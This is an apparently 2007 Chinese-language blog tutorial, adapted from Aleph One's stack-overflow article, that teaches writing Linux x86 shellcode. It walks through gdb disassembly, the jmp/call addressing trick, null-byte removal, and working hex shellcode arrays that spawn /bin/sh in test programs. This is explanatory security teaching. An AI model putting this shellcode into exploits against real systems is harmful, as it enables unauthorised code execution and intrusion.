分类: LINUX
2007-07-18 21:27:50
************************* * 如何写shell code * ************************* by warning31999/07 我曾看到有人翻了aleph1的< >, 奇怪的是里面把写shellcode的部分给略掉了,我觉得对于想自己写点儿exploit 的人,不懂怎么写shellcode是不行的.所以我就参考alph1的文章来讲讲怎么写 shellcode.不对的地方还请多多指教. 通过覆盖堆栈中的返回地址,我们可以让程序转到该地址去执行我们想要执行 的指令.通常的做法是在溢出的数据中放入我们自己的可执行代码,然后覆盖返回地址, 使它指向我们自己代码开始的地址.一般我们希望可执行代码能启动一个shell.假设 堆栈开始的地址是0xFF,"S"代表我们想执行的代码,堆栈的情况如下: 内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存 低端 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 高端 buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| 栈顶 栈底 sfp: 堆栈帧指针 ret: 返回地址 a,b,c: 函数入口参数 下面是一个启动shell的C程序: shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ 为了查看它的汇编代码,我们可以先编译它,然后启动gdb来分析。 ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ 下面我们看看整个过程是怎样的。先从main()开始: ------------------------------------------------------------------------------ 0x8000130 : pushl %ebp #保存原来的栈帧指针 0x8000131 : movl %esp,%ebp #将当前堆栈指针变成新的栈帧指针 0x8000133 : subl $0x8,%esp #堆栈指针前移8个字节,为局部变量分配空间 #相当于 char *name[2];因为每个字符指针 #都是4个字节,所以一共8个字节。 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) #将字符串"/bin/sh"的地址拷贝到name[0]中 #等于name[0]="/bin/sh"; 0x800013d :movl $0x0,0xfffffffc(%ebp) #将0(NULL)值拷贝到name[1]中 #等于 name[1]=NULL; 0x8000144 :pushl $0x0 #按从右到左的顺序将execv()的三个参数依次 #压栈,首先压入NULL值 (第三个参数) 0x8000146 :leal 0xfffffff8(%ebp),%eax #将name[]的地址装入寄存器EAX中 0x8000149 :pushl %eax #将name[]的地址压入堆栈 (第二个参数) 0x800014a :movl 0xfffffff8(%ebp),%eax #将"/bin/sh"的地址装入EAX 0x800014d :pushl %eax #将"/bin/sh"的地址装入堆栈(第一个参数) 0x800014e :call 0x80002bc <__execve> #参数全部压栈后,我们开始调用execve() #它首先将当前IP压入堆栈 ------------------------------------------------------------------------------ 现在我们来看execve().要记住现在我们用的是基于Intel的Linux系统。而syscall的具 体调用细节随着不同的系统和CPU也有所不同。有一些是在堆栈中传递参数,也有的是在寄 存器里。有的是用软件中断跳到kernel模式,有的则是通过一个far调用来完成。Linux在 寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式。(int $80) ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp #保存原来的栈帧指针 0x80002bd <__execve+1>: movl %esp,%ebp #将当前堆栈指针变成新的栈帧指针 0x80002bf <__execve+3>: pushl %ebx #将ebx压栈 0x80002c0 <__execve+4>: movl $0xb,%eax #拷贝0xb(11)到eax中,这是syscall表的 #索引值。11代表execv. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx #将"/bin/sh"的地址拷贝到ebx中 0x80002c8 <__execve+12>:movl 0xc(%ebp),%ecx #将name[]的地址拷贝到ecx中 0x80002cb <__execve+15>:movl 0x10(%ebp),%edx #将null的地址拷贝到edx中 0x80002ce <__execve+18>:int $0x80 #软件中断,转入kernel模式 ------------------------------------------------------------------------------ 从上面的分析可以看出,完成execve()系统调用,我们所要做的不过是这么几项而已: a) 在内存中有以NULL结尾的字符串"/bin/sh" b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值 c) 将0xb拷贝到寄存器EAX中 d) 将"/bin/sh"的地址拷贝到寄存器EBX中 e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中 f) 将NULL串的地址拷贝到寄存器EDX中 g) 执行中断指令int $0x80 如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据 可能是随机的.通常这个程序会core dump.我们希望如果execve调用失败的话,程序可以正 常退出.因此我们必须在execve调用后增加一个exit系统调用.它的C语言程序如下: exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------ 我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出号码放 入EBX中,然后执行"int $0x80".大部分程序正常退出时返回0值,我们也在EBX中放入0.现 在我们所要完成的工作又增加了三项: a) 在内存中有以NULL结尾的字符串"/bin/sh" b) 在内存中有"/bin/sh"的地址,其后是一个long word型的NULL值 c) 将0xb拷贝到寄存器EAX中 d) 将"/bin/sh"的地址拷贝到寄存器EBX中 e) 将"/bin/sh"地址的地址拷贝到寄存器ECX中 f) 将NULL串的地址拷贝到寄存器EDX中 g) 执行中断指令int $0x80 h) 将0x1拷贝到寄存器EAX中 i) 将0x0拷贝到寄存器EBX中 j) 执行中断指令int $0x80 下面我们用汇编语言完成上述工作.我们把"/bin/sh"字符串放到代码的后面,并且将会 把字符串的地址和NULL字加到字符串的后面: ------------------------------------------------------------------------------ movl string_addr,string_addr_addr #将字符串的地址放入某个内存单元中 movb $0x0,null_byte_addr #将null放入字符串"/bin/sh"的结尾 movl $0x0,null_addr #将NULL字放入某个内存单元中 movl $0xb,%eax #将0xb拷贝到EAX中 movl string_addr,%ebx #将字符串的地址拷贝到EBX中 leal string_addr_addr,%ecx #将存放字符串地址的地址拷贝到ECX中 leal null_string,%edx #将存放NULL字的地址拷贝到EDX中 int $0x80 #执行中断指令int $0x80 (execv()完成) movl $0x1, %eax #将0x1拷贝到EAX中 movl $0x0, %ebx #将0x0拷贝到EBX中 int $0x80 #执行中断指令int $0x80 (exit(0)完成) /bin/sh string goes here. #存放字符串"/bin/sh" ------------------------------------------------------------------------------ 现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中 的确切位置.一种解决的方法是用一个jmp和call指令.jmp和call指令可以用IP相关寻址 ,也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址 的确切数值.如果我们将call指令放在字符串"/bin/sh"的前面,然后jmp到call指令的位置, 那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址 )压入堆栈.我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符 串地址)从堆栈中弹出到某个寄存器中.假设J代表JMP指令,C代表CALL指令,S代表其他指令, s代表字符串"/bin/sh",那么我们执行的顺序就象下图所示: 内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存 低端 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 高端 buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) 栈顶 栈底 (1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode的 起始处 (2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令 (3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行 经过上述修改后,我们的汇编代码变成了下面的样子: ------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes 1.首先跳到call指令处去执行 popl %esi # 1 byte 3.从堆栈中弹出字符串地址到ESI中 movl %esi,array-offset(%esi) # 3 bytes 4.将字符串地址拷贝到字符串后面 movb $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾 movl $0x0,null-offset(%esi) # 7 bytes 6.将null长字放到字符串地址的地址后面 movl $0xb,%eax # 5 bytes 7.将0xb拷贝到EAX中 movl %esi,%ebx # 2 bytes 8.将字符串地址拷贝到EBX中 leal array-offset,(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX leal null-offset(%esi),%edx # 3 bytes 10.将null串的地址拷贝到EDX int $0x80 # 2 bytes 11.调用中断指令int $0x80 movl $0x1, %eax # 5 bytes 12.将0x1拷贝到EAX中 movl $0x0, %ebx # 5 bytes 13.将0x0拷贝到EBX中 int $0x80 # 2 bytes 14.调用中断int $0x80 call offset-to-popl # 5 bytes 2.将返回地址压栈,跳到popl处执行 /bin/sh string goes here. ------------------------------------------------------------------------------ 计算一下从jmp到call和从call到popl,以及从字符串地址到name数组,从字符串地址到 null串的偏移量,我们得到下面的程序: ------------------------------------------------------------------------------ jmp 0x26 # 2 bytes 1.首先跳到call指令处去执行 popl %esi # 1 byte 3.从堆栈中弹出字符串地址到ESI中 movl %esi,0x8(%esi) # 3 bytes 4.将字符串地址拷贝到字符串后面第9个字节处 movb $0x0,0x7(%esi) # 4 bytes 5.将null字节放到字符串后第8个字节处 movl $0x0,0xc(%esi) # 7 bytes 6.将null长字放到字符串地址后第13个字节处 movl $0xb,%eax # 5 bytes 7.将0xb拷贝到EAX中 movl %esi,%ebx # 2 bytes 8.将字符串地址拷贝到EBX中 leal 0x8(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX leal 0xc(%esi),%edx # 3 bytes 10.将null串的地址拷贝到EDX int $0x80 # 2 bytes 11.调用中断指令int $0x80 movl $0x1, %eax # 5 bytes 12.将0x1拷贝到EAX中 movl $0x0, %ebx # 5 bytes 13.将0x0拷贝到EBX中 int $0x80 # 2 bytes 14.调用中断int $0x80 call -0x2b # 5 bytes 2.将返回地址压栈,跳到popl处执行 .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------ 当上述过程执行到第7步时,我们可以看一下这时堆栈中的情况 假设字符串的地址是0xbfffc5f0: |........ | |---------|0xbfffc5f0 %esi 字符串地址 | '/' | |---------| | 'b' | |---------| | 'i' | |---------| | 'n' | |---------| | '/' | |---------| | 's' | |---------| | 'h' | |---------|0xbfffc5f7 0x7(%esi) null字节的地址 | 0 | |---------|0xbfffc5f8 0x8(%esi)(存放)字符串地址的地址 即name[0] 大小是4个字节 | 0xbf | |---------| 注:这四个字节实际可能并不是按顺序存储的,也许是按0xf0c5ffbf的顺序. | 0xff | 我没有验证过,只是为了说明问题,简单的这么写了一下. |---------| 有人感兴趣的可以验证一下. | 0xc5 | |---------| | 0xf0 | |---------|0xbfffc5fc 0xc(%esi) 空串的地址 即name[1] 大小是4个字节 | 0 | |---------| | 0 | |---------| | 0 | |---------| | 0 | |---------| | ....... | ------------------------------------------------------------------------------ 为了证明它能正常工作,我们必须编译并运行它.但这里有个问题,我们的代码要自己修 改自己,而大部分操作系统都将代码段设为只读,为了绕过这个限制,我们必须将我们希望 执行的代码放到堆栈或数据段中,并且转向执行它.我们可以将代码放到数据段的一个全局 数组中.我们需要首先得到二进制码的16进制形式.我们可以先编译,然后用GDB得到我们所 要的东西. shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130 : pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) .. .. .. ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ 很好,它现在工作了.但还有个小问题.大多数情况下我们都是试图overflow一个字符型 buffer.因此在我们的shellcode中任何的null字节都会被认为是字符串的结束,copy过程 就被中止了.因此要是exploit工作,shellcode中不能有null字节.我们可以略微的调整一 下代码: 有问题的指令: 替代指令: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- 我们改进后的代码如下: shellcodeasm2.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x1f # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes xorl %eax,%eax # 2 bytes movb %eax,0x7(%esi) # 3 bytes movl %eax,0xc(%esi) # 3 bytes movb $0xb,%al # 2 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes xorl %ebx,%ebx # 2 bytes movl %ebx,%eax # 2 bytes inc %eax # 1 bytes int $0x80 # 2 bytes call -0x24 # 5 bytes .string \"/bin/sh\" # 8 bytes # 46 bytes total "); } ------------------------------------------------------------------------------ 测试一下新的代码是否工作: testsc2.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc2 testsc2.c [aleph1]$ ./testsc2 $ exit [aleph1]$ ------------------------------------------------------------------------------ 现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-) 这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题. 你可以根据自己的需要,编写出自己的shellcode来.